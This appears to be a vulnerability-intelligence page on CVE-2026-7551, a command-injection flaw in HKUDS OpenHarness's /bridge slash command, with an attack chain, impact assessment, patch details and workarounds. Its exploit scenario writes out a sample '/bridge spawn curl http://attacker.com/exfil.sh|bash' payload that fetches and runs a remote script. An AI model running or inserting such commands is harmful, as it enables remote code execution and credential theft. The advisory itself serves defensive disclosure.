Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessObtain valid remote sender credentials
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DeliverySend crafted /bridge spawn message via integrated platform
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ExploitTrigger command injection in shell subprocess helper
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ExecutionExecute arbitrary OS commands as process user
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PersistAccess files/credentials/workspace
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ImpactEstablish persistence or lateral movement
Vulnerability Assessment
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CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote sender credentials accepted by OpenHarness configuration AND remote message channel integration enabled (Feishu, Slack, or similar platform connector). The vulnerability specifically requires that the OpenHarness instance is configured to accept and process slash commands from remote collaboration platforms rather than local-UI-only mode. CVSS PR:L (low privileges required) indicates the attacker must possess valid authentication to the remote messaging platform that OpenHarness trusts, which could be a legitimate team member account or a compromised credential. Does NOT require: direct network access to OpenHarness server, administrative privileges within OpenHarness, or specific non-default feature flags beyond the remote channel integration itself. The default vulnerable configuration allowed all registered slash commands (including /bridge) to be remotely invocable, making any deployment with remote channels susceptible. |
| Impact | CVSS 8.8 (High) with network attack vector, low complexity, and low privileges required indicates significant risk, though exploitation requires authenticated access to configured remote channels. EPSS data not provided. Not confirmed actively exploited (not in CISA KEV). Publicly available exploit code exists via GitHub PR #208 and commit 438e373, which clearly demonstrate the vulnerable code path and exact fix. The patch restricts /bridge to local-only by default with explicit admin opt-in for remote access, indicating vendor confirmation of the attack vector. Real-world risk depends heavily on deployment configuration: organizations that expose OpenHarness to remote collaboration platforms (Feishu/Slack) with multiple authenticated users face immediate risk of lateral movement and data exfiltration. The vulnerability enables complete system compromise as the OpenHarness process user, but requires the attacker to already possess valid remote sender credentials accepted by the system configuration. SSVC assessment: exploitation status is POC (publicly available via GitHub), automatable (yes - network-accessible command injection), technical impact is total (arbitrary code execution with file/credential access). Priority is HIGH for internet-facing deployments with remote channel integrations, MEDIUM for isolated/local-only deployments. Key concern: the vulnerability provides authenticated insiders or compromised remote accounts a direct path to backend system access, bypassing application-layer controls. |
| Exploit ScenarioDerived | An authenticated attacker with valid credentials accepted by OpenHarness remote sender configuration (e.g., authorized Feishu or Slack user) sends a malicious message '/bridge spawn curl http://attacker.com/exfil.sh|bash' through the integrated collaboration platform. The OpenHarness gateway receives the inbound message, routes it to the _bridge_handler without remote invocation checks, and forwards the attacker-controlled command text to the bridge session manager. The shared shell subprocess helper executes the command as the OpenHarness process user, downloading and executing the attacker's payload script. The attacker gains shell access with permissions to read workspace files, extract credentials from configuration, access repository contents, and establish persistence or pivot to other systems accessible to the OpenHarness host. |
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Alert meAnalysisAIv1 – Apr 30, 2026
Remote code execution in HKUDS OpenHarness allows authenticated remote attackers to execute arbitrary operating system commands via the /bridge slash command. Attackers with remote sender privileges can invoke '/bridge spawn' with malicious command arguments that bypass input validation and execute directly through the shell subprocess helper, granting access to local files, credentials, workspace state, and repository contents. Vendor-released patch available (commit 438e373) that restricts /bridge to local-only invocation by default.
RemediationAI
Apply vendor-released patch by updating to OpenHarness commit 438e37309778e19060dfe7b172eb142e543c4cd6 or later from the main branch (https://github.com/HKUDS/OpenHarness/commit/438e37309778e19060dfe7b172eb142e543c4cd6). The patch modifies src/openharness/commands/registry.py to register the /bridge command with remote_invocable=False and remote_admin_opt_in=True flags, blocking remote invocation by default while allowing administrators to explicitly enable it if needed. For organizations requiring remote /bridge access, carefully review security implications and implement strict authentication/authorization controls before enabling remote_admin_opt_in. Interim workaround (with operational trade-offs): disable all remote message channel integrations (Feishu/Slack connectors) and restrict OpenHarness access to local UI only, which eliminates the network attack vector but breaks remote collaboration workflows. Alternatively, implement network-level controls to restrict remote message channel access to trusted IP ranges and monitor /bridge command invocations in application logs, though this does not prevent exploitation by authenticated malicious insiders. Verify patch effectiveness by running the new test cases in tests/test_ohmo/test_gateway.py::test_runtime_pool_blocks_bridge_spawn_from_remote_messages.
Affected VersionsENISA
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Source: OSV (Open Source Vulnerabilities)
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Technical ContextAI · show details
OpenHarness is an AI-powered development harness that implements a slash command system for managing bridge sessions and runtime environments. The vulnerability exists in the command registry implementation (src/openharness/commands/registry.py) where the /bridge command was registered without the remote_invocable=False flag, allowing remote message sources (Feishu, Slack, etc.) to invoke bridge session spawning. The underlying issue is CWE-78 (OS Command Injection) where user-controlled text from the /bridge spawn command is passed to a shared shell subprocess helper without sanitization. The architecture uses a gateway/runtime pool pattern where inbound messages from multiple channels are routed to command handlers. Prior to the patch, remote senders accepted by configuration could reach the _bridge_handler, which forwards spawn arguments directly to the bridge session manager's shell execution layer.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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3DescriptionCVE.org
HKUDS OpenHarness contains a remote code execution vulnerability in the /bridge slash command that allows remote senders accepted by configuration to execute arbitrary operating system commands. Attackers can invoke the /bridge spawn command with attacker-controlled command text that is forwarded to the bridge session manager and executed through the shared shell subprocess helper, allowing them to spawn shell sessions as the OpenHarness process user and access local files, credentials, workspace state, and repository contents.
Executive ViewAI
CVE-2026-7551 is a remote code execution vulnerability in HKUDS OpenHarness that allows authenticated users with remote sender privileges to execute arbitrary commands on affected systems via the /bridge slash command. This directly threatens confidentiality and integrity of local files, credentials, and repository data, and requires immediate patching across all OpenHarness deployments that permit remote access.
Apply vendor patch. If immediate patching is not feasible, restrict /bridge command execution to local-only connections and audit/revoke remote sender privileges for all non-essential accounts until patch deployment is completed.
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SSVC AssessmentENISA
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Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
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